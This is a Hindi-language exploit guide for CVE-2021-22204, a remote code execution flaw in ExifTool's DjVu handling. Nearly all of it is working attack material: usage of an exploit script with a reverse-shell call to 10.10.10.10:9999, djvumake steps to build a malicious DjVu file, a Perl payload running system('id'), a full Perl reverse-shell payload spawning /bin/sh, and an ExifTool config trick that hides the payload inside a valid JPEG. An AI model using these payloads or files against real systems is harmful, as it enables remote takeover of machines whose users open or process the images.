
CVE-2021-22204 के लिए शोषण स्क्रिप्ट, दुर्भावनापूर्ण DjVu फ़ाइलों के माध्यम से एक ExifTool RCE, मैन्युअल शोषण चरणों और रिवर्स शेल पेलोड के साथ।
ExifTool संस्करण 7.44 और उससे ऊपर में DjVu फ़ाइल प्रारूप में उपयोगकर्ता डेटा का अनुचित न्यूट्रलाइज़ेशन दुर्भावनापूर्ण छवि को पार्स करते समय मनमाना कोड निष्पादन की अनुमति देता है।

सिस्टम cmd:
bash CVE-2021-2204.sh "system('id')" happy.jpg
रिवर्स शेल
bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg
*आपका IP और PORT
$ sudo apt install djvulibre-bin
# Installs the required tools
$ bzz payload payload.bzz
# Compress our payload file with to make it non human-readable
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
पेलोड
(metadata "\c${system('id')};")
पेलोड (रिवर्सशेल के लिए)
(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")
फिर, जब पीड़ित एक कमजोर संस्करण के Exiftool के साथ फ़ाइल exploit.djvu खोलता है, तो हमारा एम्बेडेड Perl कोड id कमांड निष्पादित करेगा।
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end%
यह फ़ाइल क्या करती है कि यह हमें फ़ाइल पर एक नया टैग लिखने में सक्षम बनाती है, जिसका नाम HasselbladExif और बाइट्स 0xc51b है ताकि इसे हमारी नई फ़ाइल के अंदर पहचाना जा सके। फिर हम इसे किसी भी फ़ाइल के अंदर डाल सकते हैं। [8]फिर इसका और हमारे पहले से बनाए गए exploit.djvu का उपयोग करके एक वैध JPEG के अंदर दुर्भावनापूर्ण DjVu फ़ाइल डालें।
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg
configfile = The name of our configuration file;
-HasselbladExif = Tag name that are specified in the config file;
exploit.djvu = Our exploit, previously made with djvumake;
hacker.jpg = A valid JPEG file;
क्रेडिट्स और सहायता: https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/